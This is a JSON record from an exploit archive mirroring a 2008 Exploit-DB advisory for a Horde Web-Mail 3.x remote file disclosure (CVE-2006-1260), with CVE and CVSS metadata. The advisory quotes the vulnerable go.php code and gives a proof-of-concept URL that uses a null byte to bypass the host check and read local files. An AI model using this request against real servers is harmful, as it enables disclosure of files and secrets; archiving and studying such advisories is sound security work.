{"exploit":{"id":"EDB-4850","name":"Horde Web-Mail 3.x - 'go.php' Remote File Disclosure","description":"Horde Web-Mail 3.x - 'go.php' Remote File Disclosure","cves":["CVE-2006-1260"],"author":"Eugene Minaev","published":"2008-01-06","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4850","path":"exploits/php/webapps/4850.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4850.txt","vulnerabilities":[{"id":"CVE-2006-1260","state":"PUBLISHED","title":null,"titleSource":null,"description":"Horde Application Framework 3.0.9 allows remote attackers to read arbitrary files via a null character in the url parameter in services/go.php, which bypasses a sanity check.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-1260","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-1260"},"updatedAt":"2024-08-07T17:03:28.776Z","retrievedAt":"2026-11-26T18:06:12.206Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4850.png?v=2","url":"https://exploitbin.com/exploits/EDB-4850","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4850/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4850/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"----[ Horde Web-Mail Remote File Disclosure ... ITDefence.ru Antichat.ru ]\n\n\t\t\t\t\t\t\tHorde Web-Mail Remote File Disclosure\n\t\t\t\t\t\t\tEugene Minaev underwater@itdefence.ru\n\t\t\t\t___________________________________________________________________\n\t\t\t____/  __ __ _______________________ _______  _______________    \\  \\   \\\n\t\t\t/ .\\  /  /_// //              /        \\       \\/      __       \\   /__/   /\n\t\t\t/ /     /_//              /\\        /       /      /         /     /___/\n\t\t\t\\/        /              / /       /       /\\     /         /         /\n\t\t\t/        /               \\/       /       / /    /         /__       //\\\n\t\t\t\\       /    ____________/       /        \\/    __________// /__    // /\n\t\t\t/\\\\      \\_______/        \\________________/____/  2007    /_//_/   // //\\\n\t\t\t\\ \\\\                                                               // // /\n\t\t\t.\\ \\\\        -[     ITDEFENCE.ru Security advisory     ]-         // // / .\n\t\t\t. \\_\\\\________[________________________________________]_________//_//_/ . .\n\n\t\tAt first look , this code is not vulnerable and we can only read remote files.\n\n\t\t<?php\n\n\t\tif (empty($_GET['url'])) {\n\t\texit;\n\t\t}\n\t\tif (get_magic_quotes_gpc()) {\n\t\t$url = @parse_url(stripslashes($_GET['url']));\n\t\t} else {\n\t\t$url = @parse_url($_GET['url']);\n\t\t}\n\n\t\t.....\n\n\t\tif ((!empty($_SERVER['SERVER_NAME']) &&\n\t\t$_SERVER['SERVER_NAME'] == $url['host']) ||\n\t\t(!empty($_SERVER['HTTP_HOST']) &&\n\t\t$_SERVER['HTTP_HOST'] == $url['host'])) {\n\n\t\t.....\n\n\n\t\tif (!empty($_GET['untrusted'])) {\n\t\treadfile($_GET['url']);\n\t\texit;\n\t\t}\n\n\t\t?>\n\n\t\tBut parse_url is only a set of regular expressions and we can use nullbyte to deceive function.\n\n\t\thttp://test1.ru/horde/util/go.php?untrusted=1&url=test.php%00http://another.host/\n\n----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]\n\n1st advisory: http://www.securityfocus.com/archive/1/427710/30/0/threaded\n\n# milw0rm.com [2008-01-06]","sha256":"09c9fe811b4a133bba058635ce764b0f8acb3628d634741d8f7cbe5f53cd47e1","bytes":1891,"fetchedAt":"2026-11-26T18:06:06.061Z","encoding":"utf-8 (display only; download retains original bytes)"}